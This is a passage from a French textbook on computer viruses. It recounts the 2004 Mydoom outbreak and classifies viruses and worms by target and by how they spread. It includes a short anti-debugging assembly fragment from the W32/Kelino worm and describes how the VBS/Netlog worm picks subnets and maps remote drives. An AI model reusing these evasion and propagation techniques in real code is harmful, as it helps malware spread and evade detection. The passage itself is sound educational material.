2.16 JANVIER 2004 : W32/MYDOOM.A@MM


Dans le domaine viral, le lundi 26 janvier 2004 restera pour longtemps dans les mmoires. Vers 18h GMT (19h, heure franaise) un nouveau virus est repr. Se propageant principalement au travers de la messagerie lectronique, il est aussi capable dinvestir le rseau dchange de fichiers KaZaA. Lun des premiers analyser le virus est mon collgue Craig Schmugar, chercheur anti-virus au sein du groupe AVERT (Beaverton, Oregon). Ayant dcompact le code viral il remarque, parmi de nombreuses autres, la chane de caractres mydomai ; elle lui inspire le nom de Mydoom quil propose alors lensemble de notre communaut de chercheurs. La rapidit de propagation est aussi surprenante quleve. Le tableau ci-dessous reprend une srie de chiffres que me fournit directement la socit MessageLabs2. Il explique galement comment il ma t possible dannoncer un chiffre dpassant le million de machines infectes en utilisant le nombre dadresses IP uniques mettrices du virus.

Dunod La photocopie non autorise est un dlit

1. Une page rappelle ce principe : http://www.microsoft.com/france/securite/alertes/swen.asp. 2. MessageLabs Email Threats : http://www.messagelabs.com/emailthreats/.

84

Chapitre 2. Historique de linnocence la tentation criminelle

Tableau 2.6 En six jours, Mydoom infecte plus dun million de machines Nombre cumul dinterceptions Date (GMT) E-mails Jour J J +1 J+2 J+3 J+4 J+5 J+6 J+7 26/1/2004 18h 27/1/2004 28/1/2004 29/1/2004 30/1/2004 31/1/2004 01/2/2004 02/2/2004 250.000 5.300.000 9.900.000 13.700.000 17.300.000 19.000.000 20.200.000 39.000 376.000 610.000 800.000 943.000 1.013.000 1.064.000 Adresses IP uniques

Le 2 fvrier 2004, lampleur de linfection se mesure galement au regard des autres virus ayant pralablement dfray la chronique. Apparu le 18 aot 2003, W32/Sobig.F@MM est toujours en tte avec plus de 33 millions de mails intercepts sur 12 mois. Mydoom.A se trouve en seconde place devant W32/Klez.H@MM. Apparu le 15 avril 2002, celui-ci est crdit de plus de 8 millions de mails. la n du mois de fvrier, le classement a volu. Mydoom est, de loin, en tte de peloton.
Tableau 2.7 En un mois, Mydoom est en tte des interceptions Virus W32/Mydoom.A@MM W32/Sobig.F@MM W32/Klez.H@MM Total cumul dinterceptions (25/2/2004) 54 millions 33 millions 8 millions

Tout comme la plupart des variantes de Sobig et Dumaru, Mydoom possde en son code une date de n dactivit. Il stoppe sa propagation le 12 fvrier 2004. Le 13 fvrier, il nest plus quun souvenir.

2.17 SUIVRE
Lt 2003 est un tournant dans le monde des virus. Se cachant toujours derrire de nombreuses gamineries, leur but devient beaucoup plus rflchi. La frontire entre

2.17 suivre

85

auteurs de virus, hackers et vritables acteurs de la criminalit informatique samenuise. Certains spcialistes du domaine nhsitent plus imaginer que lapparition programme des diverses variantes de Sobig fait parti dun plan minutieux qui dpasse le simple amusement ou lenvie de briller1. Diverses tudes dmontrent quune action rflchie anime les auteurs de la srie2. On saperoit ainsi que des spammeurs utilisent des machines infectes comme relais dmission3. En novembre 2004, un document sera distribu anonymement sur Internet. Alors que les investigations policires se poursuivent, sous couvert danonymat, son auteur nhsite pas proposer un coupable4. Depuis lextinction de Mydoom.A, dautres virus ont suscit le trouble. Les mmoires retiendront entre autre les batailles que se livrrent les auteurs de Netsky et Bagle durant le premier semestre 2004. Les nouveaux objectifs de ces programmes malveillants et la traque de leurs auteurs feront sans aucun doute parti de lhistoire de demain. Nous tenterons de les mettre en perspective dans le dernier chapitre de ce livre.

Dunod La photocopie non autorise est un dlit

1. Il est possible de lire ce sujet un interview de Mikko Hyponnen (F-Secure) ladresse : http://www.tf1.fr/news/multimedia/0,,1354696,00.html. 2. Sobig.a and the Spam You Received Today : http://www.lurhq.com/sobig.html. Sobig.e Evolution of the Worm : http://www.lurhq.com/sobig-e.html. Sobig.f Examined : http://www.lurhq.com/sobig-f.html. 3. Spam and Viruses Hit All Time Highs in 2003. http://www.messagelabs.com/news/virusnews/detail/?contentItemId=613&region=. 4. Who Wrote Sobig ? : http://spamkings.oreilly.com/WhoWroteSobig.pdf.

3
Notions fondamentales

la lecture du premier chapitre, nous avons saisi que pour acqurir cette appellation, un virus doit se reproduire. Au travers de la partie historique de ce livre, nous avons aussi constat que derrire cette caractristique unique se cachaient des sousensembles distincts. Nous allons donc maintenant diffrencier les virus selon leurs cibles et leurs fonctionnalits.

3.1 LES VIRUS PAR CIBLES


Il existe quatre catgories principales de virus. Elles ont chacune une cible bien prcise : Les virus systme. Ils visent le secteur de partition ou le secteur de dmarrage des disques durs et des disquettes. Les virus interprts. Il sagit principalement des virus de macro et de script. Ils utilisent des langages de programmation particuliers qui se rapprochent de la programmation par lot (fichiers .bat). Les macro-virus sintressent aux documents qui peuvent contenir des routines automatisables et programmables. Les virus de script sattaquent directement aux programmes crits en langage interprt. Les virus programme. Ils sattaquent aux excutables compils (fichiers binaires). Les vers. Infection typique des rseaux, ils se propagent dordinateurs en ordinateurs. De nombreux virus cumulent les cibles en renforant ainsi leur capacit de contamination. Ils prennent alors les noms de virus multipartite, multifonction ou multi plate-forme.

88

Chapitre 3. Notions fondamentales

3.1.1 Virus systme


Au dbut des annes 1990, la grande majorit des virus rencontrs taient des virus systme. Leur forte propagation puis leur disparition sexpliquent par les mmes causes : leurs terrains de prdilection sont les disquettes. Elles sont aujourdhui rarement utilises ; les changes se font maintenant via dautres supports (cls USB, CD-ROM) ou par courrier lectronique et tlchargement, la propagation ncessite un environnement DOS ou Windows 16 bits. Les systmes dexploitation actuels exploitent gnralement le 32 bits. La contamination dune machine est toujours la consquence dune tentative volontaire ou involontaire de dmarrage depuis une disquette contamine. Linfection peut russir que cette disquette soit ou non, formate systme. Pour bien comprendre ce phnomne, il faut savoir que toute disquette formate contient un petit programme dans son premier secteur physique. Si au dmarrage de la machine, le lecteur de disquette est interrog, ce programme sera excut. Pour une simple disquette de donne, il afchera un message derreur ; pour une disquette systme, il donnera la main dautres programmes qui poursuivront le processus. Au niveau du disque dur, des programmes similaires existent et sont, eux aussi, excuts au dmarrage de la machine. Lun est situ dans le premier secteur physique du disque, lautre dans le premier secteur de la premire unit logique. Pour raliser son but, le virus systme cherche sintroduire dans ces zones systmes. Elles sont normalement rserves au systme dexploitation et portent le nom de : secteur des partitions (MBR, Master Boot Record) pour les disques durs, secteur de dmarrage (BOOT, Boot Sector) pour les disques durs et les disquettes. Le principe de fonctionnement est le suivant : le virus est prsent dans le secteur de dmarrage dune disquette, pour une raison quelconque, cette disquette se trouve dans le lecteur au moment dun dmarrage machine. Elle contamine le PC lorsque le BIOS excute le code quelle contient, le code original du BOOT ou du MBR du disque dur est dplac ou cras, le virus remplace ce code par lui-mme, il sauvegarde ventuellement le code excdant (code complmentaire du virus) dans dautres secteurs, libres ou occups, ds lors, et chaque nouveau dmarrage, le virus sera rsident en mmoire et capable dinfecter dautres disquettes sur un simple accs. Le virus na aucune action sur une disquette protge en criture.

3.1 Les virus par cibles

89

Il nous faut maintenant comprendre comment tout cela a commenc. Trois possibilits sont envisageables : lauteur du virus a cr de toute pice des disquettes infectes, puis les a distribues. Cest cette technique quutilisa lauteur de BRAIN en 1986, lauteur a diffus des programmes capables dinstaller le virus en esprant que certains dentres eux soient excuts un moment ou un autre. Ces programmes prennent le nom dimplanteurs ou dinjecteurs (en anglais : droppers). Lun dentre eux a t diffus en 1991. Son but tait dinstaller un virus que lon baptisa alors Horse Boot, le virus est multipartite. Il est capable dinfecter tout aussi bien des programmes que des zones systmes. Ces dernires peuvent alors tre infectes de manire conventionnelle ou via un excutable contamin selon la technique du dropper. OneHalf et Tequila sont deux exemples de virus multipartites.
Tableau 3.1 Quelques virus systme couramment rencontrs dans les annes 1990 DISQUE DUR VIRUS Jumper.B Parity Boot Antiexe Form DATE/ORIGINE Mai 1993 / France Sept. 1992 / Allemagne Sept. 1993 / France (?) Juin 1990 / Suisse MBR OUI OUI OUI BOOT OUI OUI DISQUETTE BOOT OUI OUI

3.1.2 Virus interprtes


Jusqu larrive de WM/Concept en 1995, le grand public tait persuad quun virus, considr juste titre comme un programme, ne pouvait tre vhicul et introduit dans un ordinateur quavec laide dun autre programme. En clair, seuls des fichiers binaires ou des zones systme pouvaient savrer dangereuses. A contrario, les fichiers ne contenant que des donnes, des images ou du code source taient sans danger. La sophistication des outils bureautiques avec lapparition des langages de macro bouleversa la donne. Les chiers tels que ceux contenant des textes ou des feuilles de calcul se sont trouvs enrichis de routines automatisables (formules, macrolangage) et programmables. Une autre volution empreinta des chemins parallles. Pour gagner en interactivit et atteindre un plus large public, des langages de haut niveau, puissants, facilement exploitables et aisment comprhensibles virent le jour. Lis des interprteurs programmes dont la fonction est de convertir le code source en langage machine ils permirent de crer des chiers de traitement par lot.

Dunod La photocopie non autorise est un dlit

90

Chapitre 3. Notions fondamentales

Toutes ces nouveauts devinrent sans dlai de nouveaux terrains dactivit pour les auteurs de virus. Les uns et les autres pouvaient tre appels au travers de pages HTML. Exploitant diverses vulnrabilits, ils devinrent donc accessibles et excutables en local ou distance, au travers du rseau Internet.

Macro-Virus
De 1996 1999, les macro virus constiturent la principale menace. Les virus programmes taient inexistants et linfluence des virus systmes diminuait avec labandon progressif des disquettes. Dans un premier temps, celles-ci permirent nanmoins la propagation de ces nouveaux venus avant que le courrier lectronique ne devienne le principal outil dchange. La simplicit du codage, le perfectionnement des anti-virus et les quelques protections complmentaires que Microsoft introduisit dans ses suites Ofce ont par la suite stopp lengouement des premiers jours. Tout comme pour les virus systme et programme, la propagation ne se fait qu partir du moment ou le code viral est excut. Dans le cas des macro-virus cette excution ne peut se produire qu des moments prcis et sur des critres particuliers. Il sagit le plus souvent dun appel une macro automatique qui sactive silencieusement lors de louverture, de la sauvegarde ou de la fermeture du chier. Le virus peut aussi modier, son prot, lenvironnement de travail en dtournant quelques fonctions standards usuellement utilises au travers des menus droulants ou des fentres choix. Il se propagera ensuite vers des chiers sains ou nouvellement crs ds que lutilisateur activera la fonctionnalit dtourne.

Virus de script
Un langage de script est un langage de programmation spcialis destin contrler lenvironnement dun logiciel. Interprt, il peut donc tre excut sur toute machine disposant de linterprteur appropri. Deux des plus utilises sont JavaScript et VBScript. Pour sexcuter correctement, les chiers de script rent dabord appel Windows Scripting Host. Absent dune conguration standard Windows-95 ou Windows-NT4, ce logiciel fut ensuite install par dfaut sur toutes les plates-formes Windows modernes. Les virus de script furent eux aussi rapidement et facilement reprables. Il sagissait de chiers se sufsant eux-mmes quil fallait simplement effacer. Ils bncirent ensuite de techniques dencapsulement comme lavaient fait avant eux les macro-virus. L aussi, la bonne lisibilit du code viral associe lamlioration des dtections gnriques t fortement dcrotre la menace.

3.1 Les virus par cibles

91

JScript JavaScript ne doit pas tre confondu avec Java. En effet, si Java est un langage compil, JavaScript, dvelopp par la socit NETSCAPE, est interprt. Le code est inclus soit dans une page HTML, soit dans un fichier lextension standard .js.
Du point de vue viral, il faut noter la distinction faite au niveau du prxe : Java pour Java, JS pour JavaScript. Le virus le plus rpandu dans cette catgorie fut sans conteste JS/Kak@M. Pionnier de sa catgorie, il tait directement intgr dans le corps dun courrier lectronique transmis au format HTML et ne ncessitait aucune pice jointe pour aider son transport. Un autre exemple fut JS/TheFly@MM : massmailer contenu dans un chier attach dnomm THE_FLY.CHM. Lextension correspondant au type Compiled HTML Help File.
<SCRIPT LANGUAGE="JavaScript"> <!-// Accueil JavaScript. var d = new Date() var h = d.getHours() if (h < 12) document.write("Bonjour!") else if (h < 17) document.write("Bon Aprs-Midi!") else document.write("Bonne Soire!") document.write("<br><br>Accueil en JavaScript. ") document.write("<br>Les paramtres horaires sont " + d + ".") //--> </SCRIPT>
Figure 3.1 Exemple de code JavaScript
Dunod La photocopie non autorise est un dlit

VBScript VBScript fut la rponse de Microsoft JavaScript. Langage autonome, cr partir du VBA (Visual Basic for Applications) et du Visual Basic, il repose sur du code source en clair. Tout un chacun peut donc voir et modifier le code des scripts quil rencontre.
Les premiers virus VBScript qui se propagrent srieusement apparurent en juillet 1999. Il sagit de vers de messagerie (VBS/Freelink@MM, VBS/Monopoly@MM et VBS/TripleSix@MM). Leur apoge se situe entre mai 2000, avec VBS/LoveLetter@MM, et mai 2001, avec VBS/VBSWG.X@MM, alias Homepage.

92

Chapitre 3. Notions fondamentales

<SCRIPT LANGUAGE="VBScript"> Formule dAccueil en VBScript Call Welcome Sub Welcome Dim h h = Hour(Now) If h < 12 then Document.Write "Bonjour! " ElseIf h < 17 then Document.Write "Bon Aprs-Midi! " Else Document.Write "Bonne Soire! " End If Document.Write "Accueil en VBScript. " Document.Write "Les paramres horaires sont " Document.Write Time() & " et " & Date() & "." End Sub </SCRIPT>
Figure 3.2 Exemple de code VBScript

Virus Batch
Nous ne nous attarderons pas sur les virus de type Batch qui nont jamais t une vritable menace. Les uns se contentent de diverses instructions en langage de commande MS-DOS. Dautres intgrent du code binaire amen tre excut par une suite dastuces plus ou moins simplistes.

3.1.3 Virus programme


Les virus programme cherchent infecter les excutables binaires compils. Le principe de fonctionnement est le suivant : le virus est prsent dans un fichier excutable, aprs son excution, le virus choisi et contamine immdiatement ou sur critre diffr un ou plusieurs autres fichiers, il agit gnralement par ajout entranant une augmentation de taille de lhte, sil se maintient rsident, linfection se poursuit lorsque dautres fichiers sont appels lexcution, ou simplement lors dune manipulation. Jusquen 1999, la majorit des virus programmes fonctionnaient sous MS-DOS et ciblaient les chiers excutables lis ce systme dexploitation. Dj limite cette poque, la proportion des infections dues ces virus na cess de diminuer pour tre presque inexistante aujourdhui. Quelques virus ont aussi concern les applications Windows 16 bits. Ces programmes, aussi appels New Executable (NE EXE), se rencontraient dans les environnements Windows 3.x. Une trentaine dentre eux ont t recense. Leur diffusion fut galement quasi nulle lexception de W16/Redteam@MM.

3.1 Les virus par cibles

93

Ce sont actuellement les applications des diverses plates-formes Windows 32 bits qui sont attaques. De par leur structure, elles sont aussi appels Portable Executable (PE EXE). loppos de leurs anctres, les virus qui les ciblent sont en trs forte expansion. Tout comme leurs prdcesseurs, ils sont ou non rsidents en mmoire. Toutes les fonctionnalits complexes des prcurseurs ont t adaptes pour tenter de les rendre plus difcilement dtectables. lorigine, des CD-ROM de jeu furent la principale cause de leur diffusion. Aujourdhui, ce sont gnralement des vers. Leur diffusion se fait par la messagerie lectronique, les disques partags et les changes de chiers sur le modle poste poste. Des vulnrabilits au sein des protocoles de communication permettent aussi leur rplication au travers des rseaux publics ou privs. La toile Internet devient ainsi un support direct de transmission. Si elle existe, linfection locale des chiers nest quune fonctionnalit complmentaire dont le but principal est de rendre llimination plus ardue. La WildList1, liste commune nombre de chercheurs professionnels rpertorie les principaux virus en activit (In-The-Wild). Cest partir du dernier trimestre 1999, quelle commena les citer frquemment. On retrouve souligns, dans la table suivante, ceux qui prdominaient lpoque. La colonne date indique la premire alerte.
Tableau 3.2 Liste des virus Windows cits dans la WildList (Liste Principale de septembre 1999) VIRUS W32/BEAST.41472.1 W32/EXPLOREZIP W32/PRETTYPARK.A W32/SKA.A
Dunod La photocopie non autorise est un dlit

ALIAS 05/99 WORM.EXPLOREZIP PRETTY.WORM HAPPY99 POPPY, W95/ANXIETY.A W95/ANXIETY.B SPACEFILLER, CHERNOBYL CIH.C W95/EL INCA.MP W95/HAZLO 06/99 06/99 03/99 11/97 04/98 08/98 07/98 12/98 01/99 05/99 W95/MARBURG.A 07/98 01/99

DATE

W95/ANXIETY.1358 W95/ANXIETY.1823 W95/CIH.1003 W95/CIH.1019.A W95/FONO W95/K32.3030 W95/KENSTON.1895 W95/MARBURG.8590 W95/PADANIA

1. http://www.wildlist.org/WildList/.

94

Chapitre 3. Notions fondamentales

Rare en septembre 1999, les virus programme les plus courants sont aujourdhui des mass-mailers. La Wildlist les caractrisent par le sufxe -mm (au lieu de @MM). Elle nmet pas de table de prvalence mais indique, chaque mois, ceux qui sont le plus frquemment annoncs. En fvrier 2004, 46 virus taient cits par plus de 15 reporters. On y retrouvait : 35 mass-mailers virus programme, type W32. 6 virus conventionnels virus programme, type W95/W32. 4 vers Internet virus programme, type W32. 1 mass-mailer virus de script VBS.

Cinq mois plus tard, en juillet, ce chiffre passait 60 avec : 51 mass-mailers virus programme, type W32. 6 virus conventionnels virus programme, type W95/W32. 2 vers Internet virus programme, type W32. 1 mass-mailer virus de script VBS.

En dcembre 2004, les mass-mailers sont au nombre de 53, avec parmi eux : 15 variantes de W32/Netsky@MM. 14 variantes de W32/Bagle@MM. 6 variantes de W32/Mydoom@MM. Pour tre complet, il nous faut citer les applicatifs IBM-OS/2 (LE Linear Executable), UNIX like (ELF Executable Linkable Format) et Macintosh. Quelques virus existent galement dans ces environnements comme nous le verrons au paragraphe 3.5.

3.2 LES VERS PAR TYPES


3.2.1 Vers ou virus
Comme nous avons eu loccasion de le signaler en fin du premier chapitre, la communaut anti-virale est partage quant laffiliation des vers informatiques dans la grande famille virale. Une minorit de chercheurs diffrencient la duplication et la propagation. Ils considrent quun ver est un programme autonome pouvant se dupliquer de lui-mme alors que le virus a besoin dune intervention humaine pour se propager et infecter ainsi un lment jusqualors sain. La notion de rseau nest plus suffisante, il faut lui associer un concept dautonomie. Pour ces scientifiques, ces vers ne sont pas une sous-famille des virus mais une branche part.

3.2 Les vers par types

95

Dans ce livre, jai pris le parti pris de considrer les vers comme un sous-ensemble des virus. Ds quils se propagent au travers dun rseau avec ou sans intervention humaine, ils sont classis comme vers. Pour la uidit du texte, jutilise donc rgulirement le terme virus lorsque je traite dun ver. Pour argumenter en faveur de cette ide, attardons-nous sur la dnition suivante : Un virus, lorsquil est excut, construit des copies de lui-mme et les greffent aux programmes quil cible. Si le virus est rsident en mmoire, tout programme manipul rpondant aux critres dinfection est son tour infect. Lorsquil est nonrsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive. Une telle entit se contente dun environnement mono utilisateur et mono tche. Sur un unique ordinateur, il est capable dinfecter plus ou moins rapidement toutes les applications quil rencontrera. Son transfert vers une autre machine ncessite une intervention humaine tel que : lenvoi par messagerie en pice jointe, lchange via disquette ou CD-ROM, la copie au travers dun serveur de fichiers. Un environnement multi utilisateurs et multi-tches est ncessaire la propagation du ver. Il est pourtant possible de reprendre la structure de la dnition ci-dessus : Un ver, lorsquil est excut, construit des copies de lui-mme et les greffent aux ordinateurs quil cible. Si le ver est rsident en mmoire, tout ordinateur rencontr rpondant aux critres dinfection est son tour infect. Lorsquil est nonrsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive.
Dunod La photocopie non autorise est un dlit

Ces deux dnitions nen font plus quune si lon gnralise la cible. Nous crivons alors : Un [virus ver], lorsquil est excut, construit des copies de lui-mme et les greffent aux lments quil cible. Si le [virus ver] est rsident en mmoire, tout lment rencontr rpondant aux critres dinfection est son tour infect. Lorsquil est non-rsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive. Cest cette troisime dnition qui mamne regrouper vers et virus dans une mme famille. Mais, quittons maintenant cet argumentaire doctrinal pour nous attacher dcouvrir les diffrents types de vers.

96

Chapitre 3. Notions fondamentales

3.2.2 Vers de disquettes


Linfection dmarre de manire conventionnelle. Lutilisateur excute par mgarde le ver quil a de lui-mme tlcharg ou qui lui a t retransmis dune manire quelconque. cet instant, il se copie gnralement sous un nom demprunt dans un rpertoire du disque dur. Si une disquette est prsente, il se recopie galement sur le lecteur A: dans lespoir datteindre plus tard un autre PC. Ces vers peuvent tre plus ou moins sophistiqus. Certains sont rsidents en mmoire et analysent en temps rel lactivit du lecteur de disquette pour se dupliquer immdiatement vers celui-ci chaque changement de mdia. Dautres sont non-rsidents et font conance au nom demprunt quils utilisent pour esprer tre ouvert de temps autre et eux aussi se propager. W32/Hayque.worm est un ver rcent (fvrier 2002). Il se recopie dans les lecteurs A: et C: sous le nom de NA.EXE. Lajout dune entre dans le chier WIN.INI lui permet de sexcuter chaque redmarrage du systme. Ce type de propagation ne date cependant pas daujourdhui. HLLW.Idomoshe.6896, dcouvert en juillet 1993, cre un chier intitul VIRDEMO.EXE dans tous les rpertoires racines des disques quil peut atteindre. Sur la disquette, il cre un chier AUTOEXEC.BAT en esprant pouvoir ainsi tre lanc lors dun dmarrage.

3.2.3 Vers de rseaux locaux


Il est facile de franchir le pas entre disques locaux (physiques ou logiques) et disques rseaux. La technique des vers de disquettes peut aisement stendre lensemble des disques partags ou partageables. Dans ce cas, linfection se droule gnralement de la manire suivante : Recherche de disques accessibles. Affectation de noms de lecteurs (mapping). Copie du ver. Paramtrage pour son lancement. Excution.

Dans de nombreux cas lexcution est diffre. Dans les cas les plus simples, elle reste dpendante du bon vouloir dun utilisateur, qui, comme dans le cas prcdent, lancera lui-mme le programme pour satisfaire sa curiosit. Le ver peut aussi chercher se recopier dans un rpertoire de dmarrage. Il peut galement tenter de trouver un chier de paramtrage sur le disque distant pour le modier de sorte sexcuter le moment venu. Dans cette famille, VBS/Netlog dcouvert en fvrier 2002 est intressant analyser.

3.2 Les vers par types

97

Lors de son excution, le virus recherche tout dabord la prsence dun chier c:\network.log. Si ce chier est trouv, il est immdiatement dtruit et recr pour contenir une adresse IP alatoire du type :
[Bloc1.Bloc2.Bloc3.Bloc4], avec Bloc1 = Nombre alatoire entre 199 et 214 Bloc2 = Nombre alatoire entre 1 et 254 Bloc3 = Nombre alatoire entre 1 et 254 Bloc4 = 0 Log file Open Subnet : 201.144.19.0
Figure 3.3 Exemple de fichier network.log

Le ver utilise alors ce masque de sous rseau pour interroger tour tour les 255 adresses. Pour chacune dentre elles, il tente de projeter le lecteur C: distant sur le lecteur local J:. En cas dchec, lorsque toutes les adresses du sous rseau ont t essayes, il cre une autre famille dadresses au hasard, et continue sa qute. Si la projection russie, le ver essaie de se copier dans le rpertoire racine du disque virtuel puis dans des rpertoires prdnis ciblant principalement le groupe de dmarrage.

3.2.4 Vers de messagerie


La notion de mass-mailer (expditeur rapide) est apparue avec W97M/ Melissa.A@MM. lexception des virus systme, les diffrentes autres familles en renferment. Dans une courte priode de temps, ils expdient un nombre impressionnant de mails et se reconnaissent par le sufxe @MM. Un autre groupe les compltent, ce sont les expditeurs lents, avec le sufxe @M. Ils expdient un courrier lectronique vers un seul correspondant chaque fois que lutilisateur en fait de mme. Dans la conversation courante, le terme de mass-mailer est improprement attribu aux expditeurs rapides et aux expditeurs lents ; ce sera gnralement le cas dans ce livre. Les termes de slow mass-mailer et fast mass-mailer sont parfois employs en anglais pour les diffrencier. Ces sufxes ont t crs pour en faciliter la reconnaissance et aider une meilleure ractivit. En cas dalerte, ce signe visible doit permettre une prise de dcision immdiate sans passage pralable un site encyclopdique. Ces quelques minutes gagnes sur la mise jour dun produit ou lisolement dune zone contamine peuvent viter lmission de millions de mails infects.

Dunod La photocopie non autorise est un dlit

98

Chapitre 3. Notions fondamentales

Tableau 3.3 Quelques mass-mailers VIRUS TYPES VBScript PE (W95 / W32) W97M (VBA) X97M (VBA) O97M (VBA) WM (WordBasic) JavaScript JavaScript (sans attachement) WIN-311 COM / EXE PIF MAC LE PREMIER VBS/FreeLink@MMa W95/Parvo@MMb W97M/AntiMarc@MM X97M/Papa.B@MMc O97M/Cybernet.A@MM WM/Sharefun.A@MMd JS/TheFly.A@MM JS/Kak@Me W16/RedTeam@MMf HLLT/Toadie.6585@MM PIF/Fable@MM MAC/Simpsons@MM DATE 07/99 12/98 09/98 04/99 05/00 02/97 12/99 10/99 01/98 08/99 10/00 06/01

a. SVAJCER Vanja, 1999, Freelinks To Infection, Virus Bulletin. Novembre 1999 pp 6-7. b. SZOR Peter, 1999b, Parvo One Sick Puppy?, Virus Bulletin. Janvier 1999 pp 7-9. c. RAIU Costin, 1999, Papa Dont Preach, Virus Bulletin. Juin 1999 pp 8-9. d. VB, 1997b, Share and Share Alike, Virus Bulletin. Avril 1997 pp 10-11. e. SVAJCER Vanja, 2000, Kak-astrophic?, Virus Bulletin. Mars 2000 p 7. f. GORDON Sarah, PERRIOT Frdric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.

Le premier expditeur de mails mondialement connu fut W32/Ska@M (alias HAPPY99). Il remonte date de 1999. Nous lavons longuement abord dans le chapitre historique. Cest nanmoins en 1997 et 1998 que les premires expriences furent tentes. Les cibles choisies montrent que ce nouvel engouement intressait de nombreux auteurs. La propagation se t dabord par le biais dune messagerie cible. Les macrovirus et les virus de script dtournaient gnralement la fonction dmission dOutlook ou dOutlook Express. Ces messageries courantes furent longtemps les plus touches. Les virus interprts ont ensuite laiss la place aux virus programme rendant la menace globale. Ils ont, dans un premier temps, dtourns les fonctions des librairies Windows (WSOCK32.DLL, RASAPI32.DLL) ; ils sattaquaient directement au protocole SMTP. En 2004, ils utilisent leur propre moteur SMTP (exemple W32/Dumaru@MM) et saffranchissent du logiciel de messagerie de lordinateur infect. De mme, les desti-

3.2 Les vers par types

99

nataires ne sont plus uniquement recherchs dans les carnets dadresses mais dans toute sorte de chiers. Un ordinateur connect lInternet sans outil de messagerie devient ainsi un metteur potentiel.

3.2.5 Vers en mode poste poste


La technologie dchange de fichiers en mode poste poste (peer to peer) permet deux ordinateurs relis Internet de communiquer directement lun avec lautre sans passer par un serveur central qui redistribue les donnes. Le poste poste soppose au modle client-serveur. Linternaute installe sur sa machine un programme qui lui permet de mettre la disposition dautres internautes un espace de son disque dur dans lequel il place lensemble des chiers quil est dispos changer. Avec ce type dchanges, on se sert directement dans le disque dur de son correspondant, et cest souvent lattrait du nom du chier qui provoque lchange. Les virus en protent, ils reprennent des intituls musicaux ou lmographiques et leurs affectent une extension excutable lors dun double-clic. En mai 2002, le premier ver utilisant avec succs ce moyen de propagation fut baptis du nom de W32/Benjamin.worm. Pour quil se propage, de nombreuses copies du ver taient places dans le dossier de tlchargement utilis par KaZaA. An dattirer lattention, les noms retenus correspondaient des titres de chansons, de lms, de jeux informatiques ou de chiers caractre pornographique. Plus de cent noms diffrents taient susceptibles dtre utiliss dont titre dexemple :
Dunod La photocopie non autorise est un dlit

metallica stairway to heaven. acdc hard as a rock. Sex Archive. FIFA 2001 full downloader. Johann Sebastian Bach Brandenburg Concerto No 4. American Pie 2 -divx-full-downloader.

Pour viter lattention, ces noms nissaient par un nombre despaces important puis une extension .exe ou .scr. KaZaA na pas toujours t la seule cible. En 2000 et 2001 quelques tentatives isoles ont touches Gnutella (VBS/GWV.A, W32/Gnuman.worm). En 2002, des dizaines de vers ciblant KaZaA et/ou Morpheus sont apparus (exemple W32/Kazmor.worm en juin 2002). Aujourdhui, tous les logiciels de ce type semblent vulnrables, mme les plus sotriques. Outre le courrier lectronique et les IRC, un virus tel que W32/Fourseman.G@MM (juin 2003) est programm pour se propager avec : Bearshare. eDonkey. eMule.

100

Chapitre 3. Notions fondamentales

Grokster. KaZaa Media Desktop. LimeWire. Morpheus. Overnet. Applejuice.

De son ct, W32/Auric@MM (mai 2003) sattaque : Bearshare. Edonkey. Gnucleus. Grokster. Kazaa. Limewire. Morpheus. Shareaza.

3.2.6 Vers de lInternet


Cest dans cet univers que svissent les vers automatiques. Crs grce une parfaite connaissance de lenvironnement rseau ils sattaquent aussi aux serveurs. Tout dbute par lexploitation dune vulnrabilit. Celle ci est gnralement connue mais comme de nombreuses machines nont pas les correctifs appliqus, le nombre des serveurs vulnrables est sufsant pour une forte propagation. Sans intervention humaine elle dpasse en rapidit celle des vers de messagerie. Avec W32/Codered.A.worm il sagit dun problme de dpassement de capacit de la mmoire tampon sur des serveurs IIS non patchs. Le ver est apparu le 17 juillet 2001, le correctif1 tait disponible depuis le 18 juin de cette mme anne. Il en fut de mme avec W32/SQLSlammer.worm, le 25 janvier 2003. La faille touchant les serveurs SQL, le patch de scurit2 tait connu depuis 6 mois. Dans ces deux exemples, aucun code viral nest crit sur le disque dur. La propagation se fait exclusivement en mmoire vive et la rapidit en est le point fort. En 2003, le taux de propagation de Slammer doublait toutes les 8,5 secondes. En 2001, celui de CodeRed doublait toutes les 37 minutes et la majorit de ses cibles potentielles furent atteintes en 20 heures (10 minutes pour Slammer).

1. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise. 2. MS02-039 : Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.

3.3 Les virus/vers par fonctionnalit

101

Cette diffrence sexplique par deux modes de fonctionnement distincts : W32/CodeRed.A.worm transmet des paquets TCP-SYN : lpoque, sa propagation fut limite par le temps de latence ncessaire avant que narrivent les rponses de la cible. W32/SQLSlammer.worm se limite un seul paquet UDP. Il nattend aucune trame en retour. Cest la bande passante disponible qui limita sa vitesse de propagation.

3.3 LES VIRUS/VERS PAR FONCTIONNALIT


Mme sils appartiennent des familles diffrentes de par leur cible, les virus et les vers peuvent avoir des caractristiques communes. Celles ci sont gnralement lies des techniques de protection ou de camouflage.

3.3.1 Anti-debugging
Il sagit dune technique de protection contre les logiciels et les routines permettant de dboguer1 un programme. Elle cherche interdire lexcution du code en mode pas pas. Les instructions anti-debug cherchent stopper les routines dmulation des anti-virus. Plus gnralement elles tentent dinterfrer avec les dbogueurs qui fonctionnent en ring 3 (mode utilisateur).
0040106D 00401072 00401074 00401076 00401077 00401079 0040107B 0040107C suite: 0040107C call or jns cli not not sti call GetVersion eax, eax short suite esp esp install_worm

; Rcupration version de lOS


; ; ; ; ; Saut si Windows NT \ Anti debugging. /

Dunod La photocopie non autorise est un dlit

; Installation du vers

Figure 3.4 Exemple de technique anti-debug (ver W32/Kelino fvrier 2002)

3.3.2 Du cryptage au metamorphisme


Pour esprer tromper les scanners anti-virus fonctionnant uniquement par recherche de signature, les auteurs de virus envisagrent tout dabord de crypter leur code.

1. Possibilit dexcuter en mode pas pas un programme.

102

Chapitre 3. Notions fondamentales

